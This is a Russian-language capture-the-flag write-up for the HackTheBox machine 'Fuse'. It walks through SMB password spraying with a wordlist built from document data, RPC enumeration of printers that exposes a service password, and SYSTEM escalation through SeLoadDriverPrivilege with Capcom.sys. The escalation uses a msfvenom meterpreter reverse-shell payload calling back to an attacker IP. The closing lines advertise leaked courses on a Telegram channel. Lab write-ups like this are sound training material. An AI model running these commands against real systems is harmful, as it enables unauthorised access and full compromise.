Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье создадим словарик паролей из косвенной информации о пользователях, посмотрим на информацию о принтерах с точки зрения RPC и повышаем привилегии благодаря SeLoadDriverPrivilege.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.193, который я добавляю в /etc/hosts.

10.10.10.193 	fuse.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1



Давайте добавим FQDN имя машины в /etc/hosts.

10.10.10.193    fuse.fabricorp.local

И на хосте работает веб-сервер. Давайте посмотрим, что там есть.



Нас встречает сайт с принтерами и мы можем скачать 4 документа, что давайте и сделаем.



Так как больше никаких векторов не находим, давай отметим для себя имена пользователей.

cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq



Также создадим список паролей из информации в документах.

cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4



И теперь попробуем брутить, к примеру SMB.

cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success



И есть сообщение, что пароль для пользователя должен быть изменен.

Entry point


Давайте это и сделаем. Зададим тот же пароль.

smbpasswd -r 10.10.10.193 -U bhult





Но у нас есть несколько секунд, и пароль становится недействительным.



Поэтому выполняем две команды в связке.

smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193



Давайте просмотрим всех пользователей, сделаем этот с помощью RPC.

USER






И находим интересного пользователя. Учитывая все тему с принтерами, которых уже длится все время, давайте посмотрим принтеры.



И находим пароль. Создадим список из уже действительных пользователей.



А вот теперь попробуем данный пароль для всех пользователей.

sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success



И находим двух пользователей. И у нас получается подключиться к WinRM и забрать первый флаг.



ROOT


Посмотрим информацию о текущем пользователе.



И наблюдаем привилегию SeLoadDriverPrivilege. И тут есть вектор LPE. Нам понадобятся следующее ПО: Capcom.sys, EoPLoadDriver и шелл meterpreter. Давайте создадим его.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe



И активируем листенер. Загрузим все на хост и запустим эксплоит meterpreter.

handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321



Теперь нужно загрузить драйвер.

.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys



И перед запуском эксплоита нужно немного его поправить. Давайте закомментируем следующие строки в файле /usr/share/metasploit-framework/modules/exploits/windows/local/capcom_sys_exec.rb.



И выполняем.



Как результат, создана новая сессия от имени SYSTEM. Вот к чему может привести привилегия SeLoadDriverPrivilege.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.